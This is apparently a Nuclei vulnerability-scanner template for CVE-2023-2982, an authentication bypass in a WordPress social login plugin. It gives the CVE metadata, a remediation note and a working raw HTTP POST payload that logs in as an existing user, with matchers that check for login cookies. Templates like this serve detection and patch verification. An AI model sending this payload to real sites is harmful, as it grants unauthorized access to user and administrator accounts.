id: CVE-2023-2982

info:
  name: Miniorange Social Login and Register <= 7.6.3 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.
  impact: |
    An attacker can gain unauthorized access to user accounts, potentially leading to data theft, privilege escalation, or other malicious activities.
  remediation: Fixed in version 7.6.5
  reference:
    - https://lana.codes/lanavdb/2326f41f-a39f-4fde-8627-9d29fff91443/
    - https://wordpress.org/plugins/miniorange-login-openid/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2982
    - https://plugins.trac.wordpress.org/browser/miniorange-login-openid/trunk/mo-openid-social-login-functions.php#L107
    - https://plugins.trac.wordpress.org/changeset/2924863/miniorange-login-openid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2982
    cwe-id: CWE-288
    epss-score: 0.4465
    epss-percentile: 0.98606
    cpe: cpe:2.3:a:miniorange:wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\):*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: wordpress_social_login_and_register_\(discord\,_google\,_twitter\,_linkedin\)
    framework: wordpress
  tags: cve,cve2023,wp,wordpress,wp-plugin,auth-bypass,miniorange,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=moopenid&email=uzmpvjPBmwEO3tFXq0vlJg%3D%3D&appName=rlHeqZw2vrPzOiWWfCParA%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: set_cookie
        words:
          - "wordpress_sec_"
          - "wordpress_logged_in_"
        condition: or

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100bc835890b94c2aa72c9a36e134f99e7f579327c8ebefd2bcde013270476df925022100e521c612ef3161b2d31e1cf9619f11bb8b4e21d01cec2e5ad0e4fce9efced30a:922c64590222798bb761d5b6d8e72950